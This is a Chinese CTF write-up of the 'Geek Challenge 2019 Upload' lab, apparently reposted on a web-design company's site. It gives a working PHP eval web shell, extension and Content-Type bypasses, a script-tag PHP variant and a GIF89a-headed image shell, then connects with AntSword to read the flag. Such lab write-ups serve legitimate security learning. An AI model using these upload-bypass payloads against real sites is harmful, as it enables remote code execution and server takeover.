☰
[极客大挑战 2019]Upload 思路及解法
2026/10/9 6:49:37 网站建设 项目流程

大家好,你们可以叫我凌,是个16岁的网络安全学习者。

今天我们来刷的题目是 [极客大挑战 2019]Upload,废话不多说我们直接开始吧!


解题思路

我们先启动靶场

进入靶场,发现有个文件上传的功能,初步判断存在文件上传漏洞。

我们依旧不着急,先右击查看源代码,看看有没有其他什么线索。

<!DOCTYPE html> <html lang="zh"> <style> .button { background-color: #5DADE2; /* Green */ border: none; color: white; padding: 8px 20px; text-align: center; text-decoration: none; display: inline-block; font-size: 12px; margin: 4px 2px; cursor: pointer; -webkit-transition-duration: 0.4s; /* Safari */ transition-duration: 0.4s; border-radius: 8px; } .button:hover { background-color: #555555; color: white; } </style> <head> <meta charset="UTF-8"> <title>上传头像</title> <link rel="stylesheet" type="text/css" href="css/reset.css"> <link rel="stylesheet" href="css/demo.css" /> <link rel="stylesheet" href="dist/styles/Vidage.css" /> </head> <body> <div class="Vidage"> <div class="Vidage__image"></div> <video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted> <source src="videos/bg.webm" type="video/webm"> <source src="videos/bg.mp4" type="video/mp4"> </video> <div class="Vidage__backdrop"></div> </div> <form action="upload_file.php" method="post" enctype="multipart/form-data"> </br></br></br></br></br></br></br></br></br></br></br></br></br></br></br> <div align="center"> <label for="file" style="font:20px Georgia,serif;">图片:</label> <input type="file" name="file" id="file" > <input type="submit" name="submit" value="提交" class="button"> </div> </form> <script src="dist/scripts/Vidage.min.js"></script> <script> new Vidage('#VidageVideo'); </script> <div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div> </body> </html>

观察代码,发现 <input type="file" name="file" id="file"> 没有设置 accept 属性,也未进行任何前端文件类型或大小校验。可能导致用户可以上传任意类型的文件。

没有 JavaScript 对文件内容或后缀进行限制,完全依赖后端处理。

那么我们就上传个 一句话木马 尝试入侵。

<?php eval($_POST['cmd']); ?>

为以防万一,我们先将后缀修改为 jpg,再使用 Burp 进行截包重新改为 php。

拦截到请求包了,我们现在修改请求包看看效果:

Content-Disposition: form-data; name="file"; filename="cmd.php" Content-Type: image/jpeg

发现被拦截了,猜测后端有黑名单校验,不能上传 php 文件。那我们就使用 php 的后缀变种来尝试进行上传。

常见变种:
.php:最标准的PHP文件后缀。
.phtml:常被用作PHP与HTML混合的模板文件。
.php3, .php4, .php5:为特定PHP版本设计的后缀,一些旧服务器为兼容性会保留解析。

.phps:通常用于显示带语法高亮的PHP源码,在某些配置下可能被当作普通PHP脚本执行。

这里我们就直接采用 “phtml” 来测试,依旧拦截的化就换成其他的依次尝试。

这次显示不是图片,那我们就拦截请求包,将 Content-Type 修改为 image/jpeg 尝试突围。

Content-Disposition: form-data; name="file"; filename="cmd.phtml" Content-Type: image/jpeg

看来这次绕过成功了,不过文件内容包含 “<?” 被拦截了,那我们就修改文件内容进行绕过。

<script language='php'>@eval($_POST[cmd]);</script>

这样子虽然是 HTML 的格式,但是却是 PHP 代码,现在继续尝试绕过。

又被拦截了,看来文件内容得像图片才可以。这时候,我想起了当时我的老师说“图片文件都有个特点,不同图片会以不同文件签名的方式来说明这是图片”。

GIF :以 GIF87a 和 GIF89a 这些 ASCII 字符开头。
JPEG:FF D8 FF(十六进制),不以 ASCII 文本开头。
PNG:89 50 4E 47 0D 0A 1A 0A(十六进制),以非打印字符(0x89)开头,后跟“PNG”。
BMP:42 4D(十六进制)-> “BM”(ASCII)。
WebP:52 49 46 46(“RIFF”)后跟大小,然后 57 45 42 50(“WEBP”)。

那我们就在文件开头加上 GIF87a 来欺骗目标这是个 GIF 图片。

GIF89a <script language='php'>@eval($_POST[cmdl]);</script>

很好,这样子我们就成功上传完成了!多数上传的文件应该会有个 “upload” 文件夹来存放上传的文件,那我们就尝试访问该文件看看。

https://xxx/upload/cmd.phtml

文件成功上传,接下来使用蚁剑尝试进行连接:

成功进来了,不过发现前人还有尝试使用文件名的 SQL注入 来突围。

那我在这里说明下,这种情况通常以上攻击是没有用的。

对于文件名的SQL注入,这里并没有拼接到数据库当中,一般 文件名的SQL注入 出现在类似于“图书管理系统”这种需要存储文件名的地方,而这里只是单纯的进行上传文件,并没有线索。面对这种题目我只会在走投无路的情况下尝试这种方法。

那么我们接下来就开始寻找 flag 了,在根目录下发现疑似 flag 文件。

直接访问,成功拿下 flag。

CTF2{f2e144e6-5f92-44a3-936a-c15ba0b9c317}

靶场小结

考点标签

文件上传、前端绕过、后缀黑名单绕过、Content-Type绕过、文件内容过滤、图片马

核心教训

1. 前端无校验是第一步突破口:<input> 没有 accept 属性,也没有 JS 校验,意味着任意文件类型都可以提交。这是文件上传漏洞的最初信号。

2. 后缀黑名单绕过的经典套路:.php 被拦,就换 .phtml、.php3、.php5、.pht 等可执行后缀。

3. Content-Type 只是摆设:后端检查 Content-Type: image/jpeg 只是看了眼请求头,抓包改成 image/jpeg 直接绕过。

4. 文件内容过滤的应对——图片马:当 <? 被拦截时,用 <script language='php'> 同样可以执行 PHP 代码。如果还不够,加上 GIF89a 文件头,让后端以为是真正的 GIF 图片。图片马的原理就是利用文件头签名欺骗后端,同时保留可执行的 PHP 代码。

5. 上传后的文件路径推测:多数上传功能会将文件放在 /upload/ 目录下,文件名保持不变或可预测。用 AntSword 连接后,在根目录下找 flag 文件是标准操作。

解题关键步骤

1. 信息收集:查看前端源码,确认无 accept 属性和 JS 校验。

2. 上传木马测试:上传 cmd.php,被拦截,确认后端有后缀黑名单。

3. 后缀绕过:换 cmd.phtml,发现不是图片,确认还有 MIME 检查。

4. MIME 绕过:抓包改 Content-Type: image/jpeg,成功上传但被拦截 <?。

5. 文件内容绕过:用 <script language='php'> 替代 <?php,又被拦。

6. 图片马绕过:文件头加 GIF89a,成功上传 cmd.phtml。

7. 连接与拿 Flag:AntSword 连接 /upload/cmd.phtml,在根目录找到 flag 文件,直接读取。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询